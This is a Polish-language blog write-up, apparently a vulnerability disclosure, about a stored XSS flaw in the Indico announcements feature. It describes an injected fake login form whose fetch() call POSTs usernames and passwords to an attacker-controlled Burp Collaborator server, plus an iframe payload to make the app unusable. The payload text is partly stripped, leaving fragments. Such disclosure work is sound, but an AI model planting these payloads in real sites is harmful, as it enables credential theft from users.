Web Application Security Testing
stored xss

Błędna administracja stroną: Jak hasła użytkowników mogą zostać przejęte

Wprowadzenie

Według tego raportu 65% aplikacji webowych jest podatnych na ataki typu cross-site scripting. W niniejszym artykule omówię podatność Stored Cross-Site Scripting (XSS), którą odkryłem w jednym z projektów open-source.

Główne przyczyny podatności typu stored XSS w aplikacjach webowych to brak wdrożenia zabezpieczeń na punktach końcowych aplikacji oraz niewystarczające mechanizmy ochronne, które można obejść. Pierwszy z tych problemów, czyli brak odpowiednich zabezpieczeń na punktach końcowych, występuje w aplikacji open-source Indico w odniesieniu do jednego z jej endpointów. Zanim jednak przejdę do szczegółów dotyczących Indico i pojawienia się tej podatności, warto najpierw wyjaśnić, czym jest Stored Cross-Site Scripting.

Cross-Site Scripting (XSS)

Stored Cross-Site Scripting (XSS) to rodzaj podatności aplikacji webowej, który umożliwia atakującemu wstrzyknięcie złośliwego kodu do strony internetowej, który następnie jest wyświetlany innym użytkownikom. Atak ten jest możliwy w sytuacji, gdy aplikacja nie stosuje odpowiedniej walidacji i sanitizacji danych wejściowych użytkownika przed ich zapisaniem w bazie danych oraz przed ich wyświetleniem na stronie.

Co odkryłem?

Niedawno znalazłem podatność typu Stored XSS w projekcie open-source Indico. Wykryłem ją podczas testów penetracyjnych aplikacji webowej – procesu mającego na celu identyfikację i wykorzystanie luk bezpieczeństwa w aplikacjach internetowych.

Podatność ta występuje w konkretnej funkcji aplikacji, umożliwiającej administratorom publikowanie ogłoszeń widocznych na wszystkich stronach systemu. Problem wynikał z braku odpowiedniej walidacji i sanitizacji danych wejściowych użytkownika przed ich wyświetleniem na stronie internetowej. W efekcie administrator mógł wstrzyknąć złośliwy kod, np. JavaScript lub iframe, do treści ogłoszeń. Ponieważ ogłoszenia były wyświetlane na wszystkich stronach aplikacji, złośliwy kod wykonywałby się u każdego użytkownika odwiedzającego dowolną stronę systemu.

Analiza powierzchni ataku

Aplikacja nie jest podatna na kradzież ciasteczek sesyjnych użytkowników, ponieważ w pliku cookie sesji ustawiono flagę HttpOnly, jak pokazano na poniższym zrzucie ekranu. Uniemożliwia to odczytanie wartości cookie przez JavaScript, a tym samym zapobiega jego kradzieży przez XSS.

HttpOnly Flag Set

Jeśli chcesz sprawdzić, czy Twoja aplikacja webowa używa ciasteczek sesyjnych z flagami bezpieczeństwa, wykonaj następujące kroki:

Kliknij trzy kropki w prawym górnym rogu przeglądarki.

google chrome settings

Wybierz opcję „Więcej narzędzi” z menu rozwijanego, a następnie „Narzędzia dla deweloperów”.

browser developer tools

W panelu narzędzi deweloperskich przejdź do zakładki „Aplikacja”, a następnie kliknij „Ciasteczka” w lewym dolnym rogu. Sprawdź, czy dla ciasteczek sesyjnych ustawione są flagi HttpOnly, Secure i SameSite.

cookie flags

Scenariusz ataku nr 1 – Kradzież nazw użytkowników i haseł

Jednym z potencjalnych scenariuszy ataku wykorzystujących tę podatność jest kradzież hasła użytkownika. Napastnik mógłby wstrzyknąć JavaScript do ogłoszenia, podszywając się pod formularz logowania, aby wykradać hasła użytkowników w momencie ich wyświetlenia. Przyjrzyjmy się temu scenariuszowi bliżej!

xss stealing users passwords diagram

Aby przeprowadzić atak, napastnik potrzebuje konta administratora oraz serwera WWW z dostępem do logów lub narzędzi rejestrujących żądania i odpowiedzi, takich jak Burp Suite Collaborator lub RequestBin.com. W tej demonstracji używam Burp Suite Collaborator.

1.1. Po zalogowaniu się jako administrator i przejściu do sekcji „Ogłoszenia” w panelu administracyjnym, atakujący wprowadza w polu „Wiadomość” następujący ładunek zawierający adres Burp Collaborator:

XSS password steal payload

Ładunek kradnący nazwę użytkownika i hasło poprzez Stored XSS

Poznaj niszczycielskie skutki złośliwego ładunku i zobacz, w jaki sposób atakujący może uzyskać dostęp do poufnych informacji, takich jak nazwy użytkowników i hasła. W tej sekcji zagłębimy się w działanie kodu wykorzystującego tę podatność.

 

Opis ładunku

Ładunek został zaprojektowany w celu kradzieży nazwy użytkownika i hasła ofiary poprzez przesłanie ich danych uwierzytelniających na zdalny serwer kontrolowany przez atakującego.

Ładunek Stored Cross-Site Scripting

The payload consists of two input fields: a username field and a password field.

The first input field, „”, creates a blank box text field where the user can enter their username.Ładunek składa się z dwóch pól wejściowych: pola na nazwę użytkownika oraz pola na hasło.

Pierwsze pole wejściowe, „”, tworzy puste pole tekstowe, w którym użytkownik wpisuje swoją nazwę użytkownika.

Drugie pole wejściowe, „’,{ method:’POST’, mode: 'no-cors’, body:username.value+’:’+this.value });”>” tworzy pole hasła, w którym użytkownik wpisuje swoje hasło. Zawiera także zdarzenie onchange, które uruchamia się, gdy użytkownik wprowadzi wartość i przejdzie do innego pola lub naciśnie Enter.

Zdarzenie onchange uruchamia funkcję JavaScript fetch(), która wysyła żądanie do zdalnego serwera kontrolowanego przez atakującego. Funkcja fetch() posiada kilka parametrów, w których dzieje się cała magia:

Funkcja fetch()

Pierwszym parametrem funkcji jest adres URL serwera atakującego (https://). W rzeczywistej próbie ataku zastępuje się go rzeczywistym adresem, np. adresem serwera Burp Collaborator.

Drugim parametrem jest obiekt określający typ żądania i dodatkowe opcje – w tym przypadku jest to żądanie POST.

Trzecim parametrem jest body, czyli połączone wartości pól username i password oddzielone dwukropkiem. Funkcja fetch() przesyła te dane do serwera Burp Collaborator.

Warto zaznaczyć, że ten przykład to tylko podstawowy wariant ataku. Prawdziwe ładunki mogą być znacznie bardziej zaawansowane, np. poprzez stworzenie nakładki na panel logowania ukrywającej resztę aplikacji lub zastosowanie innych technik w celu osiągnięcia tego samego efektu.

1.3. Po zapisaniu wiadomości z ogłoszeniem, na każdej stronie aplikacji pojawia się fałszywy panel logowania dla wszystkich zalogowanych użytkowników.

executed XSS payload

1.4. Gdy kolejny użytkownik loguje się do aplikacji, widzi fałszywy panel logowania:

victim enters credentials

1.5. Po wprowadzeniu danych przez użytkownika atakujący otrzymuje jego nazwę użytkownika i hasło w Burp Collaborator Client jako nowe żądanie:

attacker receives victims credentials

Drugi scenariusz ataku – unieruchomienie aplikacji

Innym możliwym scenariuszem ataku jest połączenie tej podatności z podatnością na cross-frame injection w celu unieruchomienia aplikacji. Wstrzykując złośliwy kod do komentarza, który przekierowuje użytkownika na inną stronę lub uniemożliwia załadowanie komponentów aplikacji, atakujący może sprawić, że stanie się ona niedostępna dla użytkowników. Przeanalizujmy ten scenariusz!

2.1. Atakujący loguje się jako administrator, przechodzi do sekcji „Ogłoszenia” w panelu administracyjnym i wprowadza następujący ładunek iframe, podobnie jak w poprzednim ataku:

iframe crashing payload

Ładunek iframe powodujący awarię aplikacji:

">